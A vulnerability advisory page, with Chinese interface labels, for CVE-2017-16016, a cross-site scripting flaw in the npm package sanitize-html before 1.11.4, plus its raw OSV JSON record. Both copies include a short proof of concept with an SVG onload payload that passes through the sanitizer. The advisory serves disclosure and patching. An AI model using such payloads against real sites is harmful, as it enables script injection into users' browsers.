GHSA-XC6G-GGRC-QQ4R中危已审查

Cross-Site Scripting in sanitize-html

OSV 1.4.0 · github-reviewed · 修改于 2023-09-09 07:04

发布时间

2018-11-10 01:47

GitHub 审查时间

2020-06-17 06:02

NVD 发布时间

—

源文件

advisories/github-reviewed/2018/11/GHSA-xc6g-ggrc-qq4r/GHSA-xc6g-ggrc-qq4r.json

公告说明

Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.

Proof of Concept

var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!';
var clean = sanitizeHtml(dirty, {
    allowedTags: [ 'textarea' ]
});

console.log(clean);

// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!

Recommendation

Update to version 1.11.4 or later.

受影响的软件包

npm

sanitize-html

ECOSYSTEM

标识信息

别名 / CVE

CVE-2017-16016

CWE

CWE-79

软件生态

npm

扩展资料

暂无扩展资料。

CVSS 评分

没有 CVSS 数据。

原始 OSV JSON

{
  "id": "GHSA-xc6g-ggrc-qq4r",
  "aliases": [
    "CVE-2017-16016"
  ],
  "details": "Affected versions of `sanitize-html` are vulnerable to cross-site scripting when allowedTags includes at least one `nonTextTag`.\n\n## Proof of Concept\n\n```js\nvar sanitizeHtml = require('sanitize-html');\n\nvar dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!';\nvar clean = sanitizeHtml(dirty, {\n    allowedTags: [ 'textarea' ]\n});\n\nconsole.log(clean);\n\n// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!\n```\n\n\n## Recommendation\n\nUpdate to version 1.11.4 or later.",
  "summary": "Cross-Site Scripting in sanitize-html",
  "affected": [
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.11.4"
            }
          ]
        }
      ],
      "package": {
        "name": "sanitize-html",
        "ecosystem": "npm"
      },
      "database_specific": {
        "last_known_affected_version_range": "<= 1.11.1"
      }
    }
  ],
  "modified": "2023-09-08T23:04:54Z",
  "severity": [],
  "published": "2018-11-09T17:47:23Z",
  "references": [
    {
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16016",
      "type": "ADVISORY"
    },
    {
      "url": "https://github.com/punkave/sanitize-html/issues/100",
      "type": "WEB"
    },
    {
      "url": "https://github.com/punkave/sanitize-html/commit/5d205a1005ba0df80e21d8c64a15bb3accdb2403",
      "type": "WEB"
    },
    {
      "url": "https://github.com/punkave/sanitize-html/commit/5d205a1005ba0df80e21d8c64a15bb3accdb2403)))",
      "type": "WEB"
    },
    {
      "url": "https://github.com/advisories/GHSA-xc6g-ggrc-qq4r",
      "type": "ADVISORY"
    },
    {
      "url": "https://npmjs.com/package/sanitize-html#discarding-the-entire-contents-of-a-disallowed-tag",
      "type": "WEB"
    },
    {
      "url": "https://www.npmjs.com/advisories/154",
      "type": "WEB"
    }
  ],
  "schema_version": "1.4.0",
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "nvd_published_at": null,
    "github_reviewed_at": "2020-06-16T22:02:52Z"
  }
}